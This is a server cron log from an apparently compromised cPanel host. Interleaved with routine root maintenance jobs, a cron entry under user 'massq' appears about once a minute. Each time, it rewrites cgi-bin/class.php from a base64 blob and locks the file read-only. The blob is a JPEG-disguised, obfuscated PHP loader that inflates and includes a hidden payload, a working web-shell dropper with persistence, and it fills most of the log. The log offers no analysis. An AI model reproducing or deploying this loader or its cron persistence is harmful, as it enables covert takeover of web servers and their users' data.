Sep  8 00:54:01 server CROND[19018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:54:01 server CROND[19019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:54:01 server CROND[19020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:55:01 server CROND[19411]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:55:01 server CROND[19412]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:55:01 server CROND[19414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:55:01 server CROND[19413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:55:01 server CROND[19415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:55:01 server CROND[19416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:55:01 server CROND[19418]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:56:01 server CROND[20325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:56:01 server CROND[20326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:56:01 server CROND[20328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:57:01 server CROND[20694]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 00:57:01 server CROND[20693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:57:01 server CROND[20696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:57:01 server CROND[20695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:58:01 server CROND[21065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:58:01 server CROND[21066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:58:01 server CROND[21068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:59:01 server CROND[21548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:59:01 server CROND[21549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:59:01 server CROND[21550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:00:01 server CROND[22264]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:00:01 server CROND[22263]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:00:01 server CROND[22267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:00:01 server CROND[22270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:00:01 server CROND[22272]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 01:00:01 server CROND[22271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:00:01 server CROND[22273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:00:01 server CROND[22275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:00:01 server CROND[22284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:01:01 server CROND[23408]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 01:01:01 server CROND[23410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:01:01 server CROND[23409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:01:01 server CROND[23411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:01:01 server run-parts(/etc/cron.hourly)[23408]: starting 0anacron
Sep  8 01:01:01 server anacron[23429]: Anacron started on 2026-09-08
Sep  8 01:01:01 server run-parts(/etc/cron.hourly)[23432]: finished 0anacron
Sep  8 01:01:01 server anacron[23429]: Normal exit (0 jobs run)
Sep  8 01:02:01 server CROND[23786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:02:01 server CROND[23787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:02:01 server CROND[23788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:03:01 server CROND[24159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:03:01 server CROND[24161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:03:01 server CROND[24160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:04:01 server CROND[24527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:04:01 server CROND[24528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:04:01 server CROND[24529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:05:01 server CROND[24918]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:05:01 server CROND[24925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:05:01 server CROND[24935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
